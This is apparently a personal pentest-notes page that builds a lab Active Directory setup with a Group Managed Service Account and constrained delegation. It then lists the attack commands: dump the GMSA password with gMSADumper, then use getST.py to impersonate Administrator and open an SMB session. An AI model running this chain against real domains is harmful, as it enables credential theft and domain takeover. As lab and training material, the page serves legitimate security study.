xct's notes
Search…
Group Managed Service Accounts (GMSA)

GMSA Account & Constrained Delegation

Build

1
Add-KdsRootKey –EffectiveTime ((get-date).addhours(-10))
2
New-ADServiceAccount -Name sql_svc -DNSHostName vulnlab.local -PrincipalsAllowedToRetrieveManaged "gmsa-readers"
3
Set-ADServiceAccount -Identity sql_svc -TrustedForDelegation $true
4
Set-ADAccountControl -Identity sql_svc$ -TrustedForDelegation $false -TrustedToAuthForDelegation $true
Copied!
Then, in the AD Users & Computers GUI, set msDS-AllowedToDelegateTo attribute of sql_svc to "DNS/dc.vulnlab.local" (or whatever SPN you want to allow constrained delegation to).
In order to read the GMSA password later you have to enable LDAPS (Add Role "Active Directory Certificate Services" and restart).

Exploit

Read GMSA password & use it to exploit the constrained delegation.
1
python3 gMSADumper.py -u <user in gmsa-readers group> -p '' -d vulnlab.local
2
3
getST.py vulnlab.local/sql_svc$ -hashes :<hash>-spn DNS/dc.vulnlab.local -impersonate Administrator -dc-ip dc.vulnlab.local
4
5
export 'KRB5CCNAME=Administrator.ccache'
6
7
smbclient.py [email protected] -k -no-pass
Copied!
Sometimes you will have to sync your local time to either a targets webserver, or just google.
1
sudo date -s "$(curl -sI google.com| grep -i '^date:'|cut -d' ' -f2-)"
Copied!

Resources

Last modified 4mo ago